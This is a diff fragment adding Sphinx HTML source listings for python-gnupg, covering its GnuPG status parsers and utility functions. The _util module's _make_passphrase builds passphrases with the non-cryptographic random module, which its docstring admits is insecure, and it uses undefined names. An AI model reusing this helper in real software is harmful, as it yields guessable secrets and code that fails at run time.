[docs]class GenKey(object): + """Handle status messages for key generation. + + Calling the ``__str__()`` method of this class will return the generated + key's fingerprint, or a status string explaining the results. + """ + def __init__(self, gpg): + self._gpg = gpg + ## this should get changed to something more useful, like 'key_type' + #: 'P':= primary, 'S':= subkey, 'B':= both + self.type = None + self.fingerprint = None + self.status = None + self.subkey_created = False + self.primary_created = False + #: This will store the key's public keyring filename, if + #: :meth:`~gnupg.GPG.gen_key_input` was called with + #: ``separate_keyring=True``. + self.keyring = None + #: This will store the key's secret keyring filename, if : + #: :meth:`~gnupg.GPG.gen_key_input` was called with + #: ``separate_keyring=True``. + self.secring = None + + def __nonzero__(self): + if self.fingerprint: return True + return False + __bool__ = __nonzero__ + + def __str__(self): + if self.fingerprint: + return self.fingerprint + else: + if self.status is not None: + return self.status + else: + return False + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key in ("GOOD_PASSPHRASE"): + pass + elif key == "KEY_NOT_CREATED": + self.status = 'key not created' + elif key == "KEY_CREATED": + (self.type, self.fingerprint) = value.split() + self.status = 'key created' + elif key == "NODATA": + self.status = nodata(value) + elif key == "PROGRESS": + self.status = progress(value.split(' ', 1)[0]) + else: + raise ValueError("Unknown status message: %r" % key) + + if self.type in ('B', 'P'): + self.primary_created = True + if self.type in ('B', 'S'): + self.subkey_created = True +
+
[docs]class DeleteResult(object): + """Handle status messages for --delete-keys and --delete-secret-keys""" + def __init__(self, gpg): + self._gpg = gpg + self.status = 'ok' + + def __str__(self): + return self.status + + problem_reason = { '1': 'No such key', + '2': 'Must delete secret key first', + '3': 'Ambigious specification', } + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key == "DELETE_PROBLEM": + self.status = self.problem_reason.get(value, "Unknown error: %r" + % value) + else: + raise ValueError("Unknown status message: %r" % key) +
+
[docs]class Sign(object): + """Parse GnuPG status messages for signing operations. + + :param gpg: An instance of :class:`gnupg.GPG`. + """ + + #: The type of signature created. + sig_type = None + #: The algorithm used to create the signature. + sig_algo = None + #: The hash algorithm used to create the signature. + sig_hash_also = None + #: The fingerprint of the signing keyid. + fingerprint = None + #: The timestamp on the signature. + timestamp = None + #: xxx fill me in + what = None + + def __init__(self, gpg): + self._gpg = gpg + + def __nonzero__(self): + """Override the determination for truthfulness evaluation. + + :rtype: bool + :returns: True if we have a valid signature, False otherwise. + """ + return self.fingerprint is not None + __bool__ = __nonzero__ + + def __str__(self): + return self.data.decode(self._gpg._encoding, self._gpg._decode_errors) + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key in ("USERID_HINT", "NEED_PASSPHRASE", "BAD_PASSPHRASE", + "GOOD_PASSPHRASE", "BEGIN_SIGNING", "CARDCTRL", + "INV_SGNR", "SIGEXPIRED"): + pass + elif key == "SIG_CREATED": + (self.sig_type, self.sig_algo, self.sig_hash_algo, + self.what, self.timestamp, self.fingerprint) = value.split() + elif key == "KEYEXPIRED": + self.status = "skipped signing key, key expired" + if (value is not None) and (len(value) > 0): + self.status += " on {}".format(str(value)) + elif key == "KEYREVOKED": + self.status = "skipped signing key, key revoked" + if (value is not None) and (len(value) > 0): + self.status += " on {}".format(str(value)) + elif key == "NODATA": + self.status = nodata(value) + else: + raise ValueError("Unknown status message: %r" % key) +
+
[docs]class ListKeys(list): + """Handle status messages for --list-keys. + + Handles pub and uid (relating the latter to the former). Don't care about + the following attributes/status messages (from doc/DETAILS): + + | crt = X.509 certificate + | crs = X.509 certificate and private key available + | ssb = secret subkey (secondary key) + | uat = user attribute (same as user id except for field 10). + | sig = signature + | rev = revocation signature + | pkd = public key data (special field format, see below) + | grp = reserved for gpgsm + | rvk = revocation key + """ + + def __init__(self, gpg): + super(ListKeys, self).__init__() + self._gpg = gpg + self.curkey = None + self.fingerprints = [] + self.uids = [] + +
[docs] def key(self, args): + vars = (""" + type trust length algo keyid date expires dummy ownertrust uid + """).split() + self.curkey = {} + for i in range(len(vars)): + self.curkey[vars[i]] = args[i] + self.curkey['uids'] = [] + if self.curkey['uid']: + self.curkey['uids'].append(self.curkey['uid']) + del self.curkey['uid'] + self.curkey['subkeys'] = [] + self.append(self.curkey) +
+ pub = sec = key + +
[docs] def fpr(self, args): + self.curkey['fingerprint'] = args[9] + self.fingerprints.append(args[9]) +
+
[docs] def uid(self, args): + uid = args[9] + uid = ESCAPE_PATTERN.sub(lambda m: chr(int(m.group(1), 16)), uid) + self.curkey['uids'].append(uid) + self.uids.append(uid) +
+
[docs] def sub(self, args): + subkey = [args[4], args[11]] + self.curkey['subkeys'].append(subkey) +
+
[docs] def _handle_status(self, key, value): + pass + +
+
[docs]class ImportResult(object): + """Parse GnuPG status messages for key import operations. + + :type gpg: :class:`gnupg.GPG` + :param gpg: An instance of :class:`gnupg.GPG`. + """ + _ok_reason = {'0': 'Not actually changed', + '1': 'Entirely new key', + '2': 'New user IDs', + '4': 'New signatures', + '8': 'New subkeys', + '16': 'Contains private key', + '17': 'Contains private key',} + + _problem_reason = { '0': 'No specific reason given', + '1': 'Invalid Certificate', + '2': 'Issuer Certificate missing', + '3': 'Certificate Chain too long', + '4': 'Error storing certificate', } + + _fields = '''count no_user_id imported imported_rsa unchanged + n_uids n_subk n_sigs n_revoc sec_read sec_imported sec_dups + not_imported'''.split() + _counts = OrderedDict( + zip(_fields, [int(0) for x in range(len(_fields))]) ) + + #: A list of strings containing the fingerprints of the GnuPG keyIDs + #: imported. + fingerprints = list() + + #: A list containing dictionaries with information gathered on keys + #: imported. + results = list() + + def __init__(self, gpg): + self._gpg = gpg + self.counts = self._counts + + def __nonzero__(self): + """Override the determination for truthfulness evaluation. + + :rtype: bool + :returns: True if we have immport some keys, False otherwise. + """ + if self.counts.not_imported > 0: return False + if len(self.fingerprints) == 0: return False + return True + __bool__ = __nonzero__ + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key == "IMPORTED": + # this duplicates info we already see in import_ok & import_problem + pass + elif key == "NODATA": + self.results.append({'fingerprint': None, + 'status': 'No valid data found'}) + elif key == "IMPORT_OK": + reason, fingerprint = value.split() + reasons = [] + for code, text in self._ok_reason.items(): + if int(reason) == int(code): + reasons.append(text) + reasontext = '\n'.join(reasons) + "\n" + self.results.append({'fingerprint': fingerprint, + 'status': reasontext}) + self.fingerprints.append(fingerprint) + elif key == "IMPORT_PROBLEM": + try: + reason, fingerprint = value.split() + except: + reason = value + fingerprint = '<unknown>' + self.results.append({'fingerprint': fingerprint, + 'status': self._problem_reason[reason]}) + elif key == "IMPORT_RES": + import_res = value.split() + for x in self.counts.keys(): + self.counts[x] = int(import_res.pop(0)) + elif key == "KEYEXPIRED": + res = {'fingerprint': None, + 'status': 'Key expired'} + self.results.append(res) + ## Accoring to docs/DETAILS L859, SIGEXPIRED is obsolete: + ## "Removed on 2011-02-04. This is deprecated in favor of KEYEXPIRED." + elif key == "SIGEXPIRED": + res = {'fingerprint': None, + 'status': 'Signature expired'} + self.results.append(res) + else: + raise ValueError("Unknown status message: %r" % key) +
+
[docs] def summary(self): + l = [] + l.append('%d imported' % self.counts['imported']) + if self.counts['not_imported']: + l.append('%d not imported' % self.counts['not_imported']) + return ', '.join(l) + +
+
[docs]class Verify(object): + """Parser for status messages from GnuPG for certifications and signature + verifications. + + People often mix these up, or think that they are the same thing. While it + is true that certifications and signatures *are* the same cryptographic + operation -- and also true that both are the same as the decryption + operation -- a distinction is made for important reasons. + + A certification: + * is made on a key, + * can help to validate or invalidate the key owner's identity, + * can assign trust levels to the key (or to uids and/or subkeys that + the key contains), + * and can be used in absense of in-person fingerprint checking to try + to build a path (through keys whose fingerprints have been checked) + to the key, so that the identity of the key's owner can be more + reliable without having to actually physically meet in person. + + A signature: + * is created for a file or other piece of data, + * can help to prove that the data hasn't been altered, + * and can help to prove that the data was sent by the person(s) in + possession of the private key that created the signature, and for + parsing portions of status messages from decryption operations. + + There are probably other things unique to each that have been + scatterbrainedly omitted due to the programmer sitting still and staring + at GnuPG debugging logs for too long without snacks, but that is the gist + of it. + """ + + TRUST_UNDEFINED = 0 + TRUST_NEVER = 1 + TRUST_MARGINAL = 2 + TRUST_FULLY = 3 + TRUST_ULTIMATE = 4 + + TRUST_LEVELS = {"TRUST_UNDEFINED" : TRUST_UNDEFINED, + "TRUST_NEVER" : TRUST_NEVER, + "TRUST_MARGINAL" : TRUST_MARGINAL, + "TRUST_FULLY" : TRUST_FULLY, + "TRUST_ULTIMATE" : TRUST_ULTIMATE,} + + def __init__(self, gpg): + """Create a parser for verification and certification commands. + + :param gpg: An instance of :class:`gnupg.GPG`. + """ + self._gpg = gpg + #: True if the signature is valid, False otherwise. + self.valid = False + #: A string describing the status of the signature verification. + #: Can be one of ``signature bad``, ``signature good``, + #: ``signature valid``, ``signature error``, ``decryption failed``, + #: ``no public key``, ``key exp``, or ``key rev``. + self.status = None + #: The fingerprint of the signing keyid. + self.fingerprint = None + #: The fingerprint of the corresponding public key, which may be + #: different if the signature was created with a subkey. + self.pubkey_fingerprint = None + #: The keyid of the signing key. + self.key_id = None + #: The id of the signature itself. + self.signature_id = None + #: The creation date of the signing key. + self.creation_date = None + #: The timestamp of the purported signature, if we are unable to parse + #: and/or validate it. + self.timestamp = None + #: The timestamp for when the valid signature was created. + self.sig_timestamp = None + #: The userid of the signing key which was used to create the + #: signature. + self.username = None + #: When the signing key is due to expire. + self.expire_timestamp = None + #: An integer 0-4 describing the trust level of the signature. + self.trust_level = None + #: The string corresponding to the ``trust_level`` number. + self.trust_text = None + + def __nonzero__(self): + """Override the determination for truthfulness evaluation. + + :rtype: bool + :returns: True if we have a valid signature, False otherwise. + """ + return self.valid + __bool__ = __nonzero__ + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key in self.TRUST_LEVELS: + self.trust_text = key + self.trust_level = self.TRUST_LEVELS[key] + elif key in ("RSA_OR_IDEA", "NODATA", "IMPORT_RES", "PLAINTEXT", + "PLAINTEXT_LENGTH", "POLICY_URL", "DECRYPTION_INFO", + "DECRYPTION_OKAY", "INV_SGNR"): + pass + elif key == "BADSIG": + self.valid = False + self.status = 'signature bad' + self.key_id, self.username = value.split(None, 1) + elif key == "GOODSIG": + self.valid = True + self.status = 'signature good' + self.key_id, self.username = value.split(None, 1) + elif key == "VALIDSIG": + (self.fingerprint, + self.creation_date, + self.sig_timestamp, + self.expire_timestamp) = value.split()[:4] + # may be different if signature is made with a subkey + self.pubkey_fingerprint = value.split()[-1] + self.status = 'signature valid' + elif key == "SIG_ID": + (self.signature_id, + self.creation_date, self.timestamp) = value.split() + elif key == "ERRSIG": + self.valid = False + (self.key_id, + algo, hash_algo, + cls, + self.timestamp) = value.split()[:5] + self.status = 'signature error' + elif key == "DECRYPTION_FAILED": + self.valid = False + self.key_id = value + self.status = 'decryption failed' + elif key == "NO_PUBKEY": + self.valid = False + self.key_id = value + self.status = 'no public key' + elif key in ("KEYEXPIRED", "SIGEXPIRED"): + # these are useless in verify, since they are spit out for any + # pub/subkeys on the key, not just the one doing the signing. + # if we want to check for signatures with expired key, + # the relevant flag is EXPKEYSIG. + pass + elif key in ("EXPKEYSIG", "REVKEYSIG"): + # signed with expired or revoked key + self.valid = False + self.key_id = value.split()[0] + self.status = (('%s %s') % (key[:3], key[3:])).lower() + else: + raise ValueError("Unknown status message: %r" % key) + +
+
[docs]class Crypt(Verify): + """Parser for internal status messages from GnuPG for ``--encrypt``, + ``--decrypt``, and ``--decrypt-files``. + """ + def __init__(self, gpg): + Verify.__init__(self, gpg) + self._gpg = gpg + #: A string containing the encrypted or decrypted data. + self.data = '' + #: True if the decryption/encryption process turned out okay. + self.ok = False + #: A string describing the current processing status, or error, if one + #: has occurred. + self.status = None + self.data_format = None + self.data_timestamp = None + self.data_filename = None + + def __nonzero__(self): + if self.ok: return True + return False + __bool__ = __nonzero__ + + def __str__(self): + """The str() method for a :class:`Crypt` object will automatically return the + decoded data string, which stores the encryped or decrypted data. + + In other words, these two statements are equivalent: + + >>> assert decrypted.data == str(decrypted) + + """ + return self.data.decode(self._gpg._encoding, self._gpg._decode_errors) + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key in ("ENC_TO", "USERID_HINT", "GOODMDC", "END_DECRYPTION", + "BEGIN_SIGNING", "NO_SECKEY", "ERROR", "NODATA", + "CARDCTRL"): + # in the case of ERROR, this is because a more specific error + # message will have come first + pass + elif key in ("NEED_PASSPHRASE", "BAD_PASSPHRASE", "GOOD_PASSPHRASE", + "MISSING_PASSPHRASE", "DECRYPTION_FAILED", + "KEY_NOT_CREATED"): + self.status = key.replace("_", " ").lower() + elif key == "NEED_TRUSTDB": + self._gpg._create_trustdb() + elif key == "NEED_PASSPHRASE_SYM": + self.status = 'need symmetric passphrase' + elif key == "BEGIN_DECRYPTION": + self.status = 'decryption incomplete' + elif key == "BEGIN_ENCRYPTION": + self.status = 'encryption incomplete' + elif key == "DECRYPTION_OKAY": + self.status = 'decryption ok' + self.ok = True + elif key == "END_ENCRYPTION": + self.status = 'encryption ok' + self.ok = True + elif key == "INV_RECP": + self.status = 'invalid recipient' + elif key == "KEYEXPIRED": + self.status = 'key expired' + elif key == "KEYREVOKED": + self.status = 'key revoked' + elif key == "SIG_CREATED": + self.status = 'sig created' + elif key == "SIGEXPIRED": + self.status = 'sig expired' + elif key == "PLAINTEXT": + fmt, dts = value.split(' ', 1) + if dts.find(' ') > 0: + self.data_timestamp, self.data_filename = dts.split(' ', 1) + else: + self.data_timestamp = dts + ## GnuPG gives us a hex byte for an ascii char corresponding to + ## the data format of the resulting plaintext, + ## i.e. '62'→'b':= binary data + self.data_format = chr(int(str(fmt), 16)) + else: + super(Crypt, self)._handle_status(key, value) +
+
[docs]class ListPackets(object): + """Handle status messages for --list-packets.""" + + def __init__(self, gpg): + self._gpg = gpg + #: A string describing the current processing status, or error, if one + #: has occurred. + self.status = None + #: True if the passphrase to a public/private keypair is required. + self.need_passphrase = None + #: True if a passphrase for a symmetric key is required. + self.need_passphrase_sym = None + #: The keyid and uid which this data is encrypted to. + self.userid_hint = None + +
[docs] def _handle_status(self, key, value): + """Parse a status code from the attached GnuPG process. + + :raises: :exc:`~exceptions.ValueError` if the status message is unknown. + """ + if key == 'NODATA': + self.status = nodata(value) + elif key == 'ENC_TO': + # This will only capture keys in our keyring. In the future we + # may want to include multiple unknown keys in this list. + self.key, _, _ = value.split() + elif key == 'NEED_PASSPHRASE': + self.need_passphrase = True + elif key == 'NEED_PASSPHRASE_SYM': + self.need_passphrase_sym = True + elif key == 'USERID_HINT': + self.userid_hint = value.strip().split() + elif key in ('NO_SECKEY', 'BEGIN_DECRYPTION', 'DECRYPTION_FAILED', + 'END_DECRYPTION'): + pass + else: + raise ValueError("Unknown status message: %r" % key)
+
+ +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/_modules/gnupg/_util.html b/docs/_build/html/_modules/gnupg/_util.html new file mode 100644 index 0000000..b6968c4 --- /dev/null +++ b/docs/_build/html/_modules/gnupg/_util.html @@ -0,0 +1,718 @@ + + + + + + + + gnupg._util — gnupg unknown documentation + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +

Source code for gnupg._util

+# -*- coding: utf-8 -*-
+#
+# This file is part of python-gnupg, a Python interface to GnuPG.
+# Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35
+#           © 2013 Andrej B.
+#           © 2013 LEAP Encryption Access Project
+#           © 2008-2012 Vinay Sajip
+#           © 2005 Steve Traugott
+#           © 2004 A.M. Kuchling
+#
+# This program is free software: you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by the Free
+# Software Foundation, either version 3 of the License, or (at your option)
+# any later version.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.
+
+'''Extra utilities for python-gnupg.'''
+
+from __future__ import absolute_import
+from datetime   import datetime
+from socket     import gethostname
+from time       import localtime
+from time       import mktime
+
+import codecs
+import encodings
+import os
+import psutil
+import threading
+import random
+import re
+import string
+import sys
+
+try:
+    from io import StringIO
+    from io import BytesIO
+except ImportError:
+    from cStringIO import StringIO
+
+from . import _logger
+
+
+try:
+    unicode
+    _py3k = False
+    try:
+        isinstance(__name__, basestring)
+    except NameError:
+        msg  = "Sorry, python-gnupg requires a Python version with proper"
+        msg += " unicode support. Please upgrade to Python>=2.6."
+        raise SystemExit(msg)
+except NameError:
+    _py3k = True
+
+
+## Directory shortcuts:
+## we don't want to use this one because it writes to the install dir:
+#_here = getabsfile(currentframe()).rsplit(os.path.sep, 1)[0]
+_here = os.path.join(os.getcwd(), 'gnupg')                   ## current dir
+_test = os.path.join(os.path.join(_here, 'test'), 'tmp')     ## ./tests/tmp
+_user = os.environ.get('HOME')                               ## $HOME
+_ugpg = os.path.join(_user, '.gnupg')                        ## $HOME/.gnupg
+_conf = os.path.join(os.path.join(_user, '.config'), 'python-gnupg')
+                                     ## $HOME/.config/python-gnupg
+
+## Logger is disabled by default
+log = _logger.create_logger(0)
+
+
+
[docs]def find_encodings(enc=None, system=False): + """Find functions for encoding translations for a specific codec. + + :param str enc: The codec to find translation functions for. It will be + normalized by converting to lowercase, excluding + everything which is not ascii, and hyphens will be + converted to underscores. + + :param bool system: If True, find encodings based on the system's stdin + encoding, otherwise assume utf-8. + + :raises: :exc:LookupError if the normalized codec, ``enc``, cannot be + found in Python's encoding translation map. + """ + if not enc: + enc = 'utf-8' + + if system: + if getattr(sys.stdin, 'encoding', None) is None: + enc = sys.stdin.encoding + log.debug("Obtained encoding from stdin: %s" % enc) + else: + enc = 'ascii' + + ## have to have lowercase to work, see + ## http://docs.python.org/dev/library/codecs.html#standard-encodings + enc = enc.lower() + codec_alias = encodings.normalize_encoding(enc) + + codecs.register(encodings.search_function) + coder = codecs.lookup(codec_alias) + + return coder +
+
[docs]def author_info(name, contact=None, public_key=None): + """Easy object-oriented representation of contributor info. + + :param str name: The contributor´s name. + :param str contact: The contributor´s email address or contact + information, if given. + :param str public_key: The contributor´s public keyid, if given. + """ + return Storage(name=name, contact=contact, public_key=public_key) +
+
[docs]def _copy_data(instream, outstream): + """Copy data from one stream to another. + + :type instream: :class:`io.BytesIO` or :class:`io.StringIO` or file + :param instream: A byte stream or open file to read from. + :param file outstream: The file descriptor of a tmpfile to write to. + """ + sent = 0 + + coder = find_encodings() + + while True: + if ((_py3k and isinstance(instream, str)) or + (not _py3k and isinstance(instream, basestring))): + data = instream[:1024] + instream = instream[1024:] + else: + data = instream.read(1024) + if len(data) == 0: + break + sent += len(data) + log.debug("Sending chunk %d bytes:\n%s" + % (sent, data)) + try: + outstream.write(data) + except UnicodeError: + try: + outstream.write(coder.encode(data)) + except IOError: + log.exception("Error sending data: Broken pipe") + break + except IOError as ioe: + # Can get 'broken pipe' errors even when all data was sent + if 'Broken pipe' in str(ioe): + log.error('Error sending data: Broken pipe') + else: + log.exception(ioe) + break + try: + outstream.close() + except IOError as ioe: + log.error("Unable to close outstream %s:\r\t%s" % (outstream, ioe)) + else: + log.debug("Closed outstream: %d bytes sent." % sent) +
+
[docs]def _create_if_necessary(directory): + """Create the specified directory, if necessary. + + :param str directory: The directory to use. + :rtype: bool + :returns: True if no errors occurred and the directory was created or + existed beforehand, False otherwise. + """ + + if not os.path.isabs(directory): + log.debug("Got non-absolute path: %s" % directory) + directory = os.path.abspath(directory) + + if not os.path.isdir(directory): + log.info("Creating directory: %s" % directory) + try: + os.makedirs(directory, 0x1C0) + except OSError as ose: + log.error(ose, exc_info=1) + return False + else: + log.debug("Created directory.") + return True +
+
[docs]def create_uid_email(username=None, hostname=None): + """Create an email address suitable for a UID on a GnuPG key. + + :param str username: The username portion of an email address. If None, + defaults to the username of the running Python + process. + + :param str hostname: The FQDN portion of an email address. If None, the + hostname is obtained from gethostname(2). + + :rtype: str + :returns: A string formatted as <username>@<hostname>. + """ + if hostname: + hostname = hostname.replace(' ', '_') + if not username: + try: username = os.environ['LOGNAME'] + except KeyError: username = os.environ['USERNAME'] + + if not hostname: hostname = gethostname() + + uid = "%s@%s" % (username.replace(' ', '_'), hostname) + else: + username = username.replace(' ', '_') + if (not hostname) and (username.find('@') == 0): + uid = "%s@%s" % (username, gethostname()) + elif hostname: + uid = "%s@%s" % (username, hostname) + else: + uid = username + + return uid +
+
[docs]def _deprefix(line, prefix, callback=None): + """Remove the prefix string from the beginning of line, if it exists. + + :param string line: A line, such as one output by GnuPG's status-fd. + :param string prefix: A substring to remove from the beginning of + ``line``. Case insensitive. + :type callback: callable + :param callback: Function to call if the prefix is found. The signature to + callback will be only one argument, the ``line`` without the ``prefix``, i.e. + ``callback(line)``. + :rtype: string + :returns: If the prefix was found, the ``line`` without the prefix is + returned. Otherwise, the original ``line`` is returned. + """ + try: + assert line.upper().startswith(u''.join(prefix).upper()) + except AssertionError: + log.debug("Line doesn't start with prefix '%s':\n%s" % (prefix, line)) + return line + else: + newline = line[len(prefix):] + if callback is not None: + try: + callback(newline) + except Exception as exc: + log.exception(exc) + return newline +
+
[docs]def _find_binary(binary=None): + """Find the absolute path to the GnuPG binary. + + Also run checks that the binary is not a symlink, and check that + our process real uid has exec permissions. + + :param str binary: The path to the GnuPG binary. + :raises: :exc:`~exceptions.RuntimeError` if it appears that GnuPG is not + installed. + :rtype: str + :returns: The absolute path to the GnuPG binary to use, if no exceptions + occur. + """ + found = None + if binary is not None: + if not os.path.isabs(binary): + try: + found = _which(binary) + log.debug("Found potential binary paths: %s" + % '\n'.join([path for path in found])) + found = found[0] + except IndexError as ie: + log.info("Could not determine absolute path of binary: '%s'" + % binary) + elif os.access(binary, os.X_OK): + found = binary + if found is None: + try: found = _which('gpg')[0] + except IndexError as ie: + log.error("Could not find binary for 'gpg'.") + try: found = _which('gpg2')[0] + except IndexError as ie: + log.error("Could not find binary for 'gpg2'.") + if found is None: + raise RuntimeError("GnuPG is not installed!") + + try: + assert os.path.isabs(found), "Path to gpg binary not absolute" + assert not os.path.islink(found), "Path to gpg binary is symlink" + assert os.access(found, os.X_OK), "Lacking +x perms for gpg binary" + except (AssertionError, AttributeError) as ae: + log.error(str(ae)) + else: + return found +
+
[docs]def _has_readwrite(path): + """ + Determine if the real uid/gid of the executing user has read and write + permissions for a directory or a file. + + :param str path: The path to the directory or file to check permissions + for. + :rtype: bool + :returns: True if real uid/gid has read+write permissions, False otherwise. + """ + return os.access(path, os.R_OK ^ os.W_OK) +
+
[docs]def _is_file(filename): + """Check that the size of the thing which is supposed to be a filename has + size greater than zero, without following symbolic links or using + :func:os.path.isfile. + + :param filename: An object to check. + :rtype: bool + :returns: True if **filename** is file-like, False otherwise. + """ + try: + statinfo = os.lstat(filename) + log.debug("lstat(%r) with type=%s gave us %r" + % (repr(filename), type(filename), repr(statinfo))) + if not (statinfo.st_size > 0): + raise ValueError("'%s' appears to be an empty file!" % filename) + except OSError as oserr: + log.error(oserr) + if filename == '-': + log.debug("Got '-' for filename, assuming sys.stdin...") + return True + except (ValueError, TypeError, IOError) as err: + log.error(err) + else: + return True + return False +
+
[docs]def _is_stream(input): + """Check that the input is a byte stream. + + :param input: An object provided for reading from or writing to. + :rtype: bool + :returns: True if :param:input is a stream, False if otherwise. + """ + return isinstance(input, BytesIO) or isinstance(input, StringIO) +
+
[docs]def _is_list_or_tuple(instance): + """Check that ``instance`` is a list or tuple. + + :param instance: The object to type check. + :rtype: bool + :returns: True if ``instance`` is a list or tuple, False otherwise. + """ + return isinstance(instance, (list, tuple,)) +
+
[docs]def _is_gpg1(version): + """Returns True if using GnuPG version 1.x. + + :param tuple version: A tuple of three integers indication major, minor, + and micro version numbers. + """ + (major, minor, micro) = _match_version_string(version) + if major == 1: + return True + return False +
+
[docs]def _is_gpg2(version): + """Returns True if using GnuPG version 2.x. + + :param tuple version: A tuple of three integers indication major, minor, + and micro version numbers. + """ + (major, minor, micro) = _match_version_string(version) + if major == 2: + return True + return False +
+
[docs]def _make_binary_stream(s, encoding): + """ + xxx fill me in + """ + try: + if _py3k: + if isinstance(s, str): + s = s.encode(encoding) + else: + if type(s) is not str: + s = s.encode(encoding) + from io import BytesIO + rv = BytesIO(s) + except ImportError: + rv = StringIO(s) + return rv +
+
[docs]def _make_passphrase(length=None, save=False, file=None): + """Create a passphrase and write it to a file that only the user can read. + + This is not very secure, and should not be relied upon for actual key + passphrases. + + :param int length: The length in bytes of the string to generate. + + :param file file: The file to save the generated passphrase in. If not + given, defaults to 'passphrase-<the real user id>-<seconds since + epoch>' in the top-level directory. + """ + if not length: + length = 40 + + passphrase = _make_random_string(length) + + if save: + ruid, euid, suid = psutil.Process(os.getpid()).uids + gid = os.getgid() + now = mktime(localtime()) + + if not file: + filename = str('passphrase-%s-%s' % uid, now) + file = os.path.join(_repo, filename) + + with open(file, 'a') as fh: + fh.write(passphrase) + fh.flush() + fh.close() + os.chmod(file, stat.S_IRUSR | stat.S_IWUSR) + os.chown(file, ruid, gid) + + log.warn("Generated passphrase saved to %s" % file) + return passphrase +
+
[docs]def _make_random_string(length): + """Returns a random lowercase, uppercase, alphanumerical string. + + :param int length: The length in bytes of the string to generate. + """ + chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + return ''.join(random.choice(chars) for x in range(length)) +
+
[docs]def _match_version_string(version): + """Sort a binary version string into major, minor, and micro integers. + + :param str version: A version string in the form x.x.x + """ + regex = re.compile('(\d)*(\.)*(\d)*(\.)*(\d)*') + matched = regex.match(version) + g = matched.groups() + major, minor, micro = int(g[0]), int(g[2]), int(g[4]) + return (major, minor, micro) +
+
[docs]def _next_year(): + """Get the date of today plus one year. + + :rtype: str + :returns: The date of this day next year, in the format '%Y-%m-%d'. + """ + now = datetime.now().__str__() + date = now.split(' ', 1)[0] + year, month, day = date.split('-', 2) + next_year = str(int(year)+1) + return '-'.join((next_year, month, day)) +
+
[docs]def _now(): + """Get a timestamp for right now, formatted according to ISO 8601.""" + return datetime.isoformat(datetime.now()) +
+
[docs]def _separate_keyword(line): + """Split the line, and return (first_word, the_rest).""" + try: + first, rest = line.split(None, 1) + except ValueError: + first = line.strip() + rest = '' + return first, rest +
+
[docs]def _threaded_copy_data(instream, outstream): + """Copy data from one stream to another in a separate thread. + + Wraps ``_copy_data()`` in a :class:`threading.Thread`. + + :type instream: :class:`io.BytesIO` or :class:`io.StringIO` + :param instream: A byte stream to read from. + :param file outstream: The file descriptor of a tmpfile to write to. + """ + copy_thread = threading.Thread(target=_copy_data, + args=(instream, outstream)) + copy_thread.setDaemon(True) + log.debug('%r, %r, %r', copy_thread, instream, outstream) + copy_thread.start() + return copy_thread +
+
[docs]def _utc_epoch(): + """Get the seconds since epoch.""" + return int(mktime(localtime())) +
+
[docs]def _which(executable, flags=os.X_OK): + """Borrowed from Twisted's :mod:twisted.python.proutils . + + Search PATH for executable files with the given name. + + On newer versions of MS-Windows, the PATHEXT environment variable will be + set to the list of file extensions for files considered executable. This + will normally include things like ".EXE". This fuction will also find files + with the given name ending with any of these extensions. + + On MS-Windows the only flag that has any meaning is os.F_OK. Any other + flags will be ignored. + + Note: This function does not help us prevent an attacker who can already + manipulate the environment's PATH settings from placing malicious code + higher in the PATH. It also does happily follows links. + + :param str name: The name for which to search. + :param int flags: Arguments to L{os.access}. + :rtype: list + :returns: A list of the full paths to files found, in the order in which + they were found. + """ + result = [] + exts = filter(None, os.environ.get('PATHEXT', '').split(os.pathsep)) + path = os.environ.get('PATH', None) + if path is None: + return [] + for p in os.environ.get('PATH', '').split(os.pathsep): + p = os.path.join(p, executable) + if os.access(p, flags): + result.append(p) + for e in exts: + pext = p + e + if os.access(pext, flags): + result.append(pext) + return result +
+
[docs]def _write_passphrase(stream, passphrase, encoding): + """Write the passphrase from memory to the GnuPG process' stdin. + + :type stream: file, :class:`~io.BytesIO`, or :class:`~io.StringIO` + :param stream: The input file descriptor to write the password to. + :param str passphrase: The passphrase for the secret key material. + :param str encoding: The data encoding expected by GnuPG. Usually, this + is ``sys.getfilesystemencoding()``. + """ + passphrase = '%s\n' % passphrase + passphrase = passphrase.encode(encoding) + stream.write(passphrase) + log.debug("Wrote passphrase on stdin.") + +
+
[docs]class InheritableProperty(object): + """Based on the emulation of PyProperty_Type() in Objects/descrobject.c""" + + def __init__(self, fget=None, fset=None, fdel=None, doc=None): + self.fget = fget + self.fset = fset + self.fdel = fdel + self.__doc__ = doc + + def __get__(self, obj, objtype=None): + if obj is None: + return self + if self.fget is None: + raise AttributeError("unreadable attribute") + if self.fget.__name__ == '<lambda>' or not self.fget.__name__: + return self.fget(obj) + else: + return getattr(obj, self.fget.__name__)() + + def __set__(self, obj, value): + if self.fset is None: + raise AttributeError("can't set attribute") + if self.fset.__name__ == '<lambda>' or not self.fset.__name__: + self.fset(obj, value) + else: + getattr(obj, self.fset.__name__)(value) + + def __delete__(self, obj): + if self.fdel is None: + raise AttributeError("can't delete attribute") + if self.fdel.__name__ == '<lambda>' or not self.fdel.__name__: + self.fdel(obj) + else: + getattr(obj, self.fdel.__name__)() + +
+
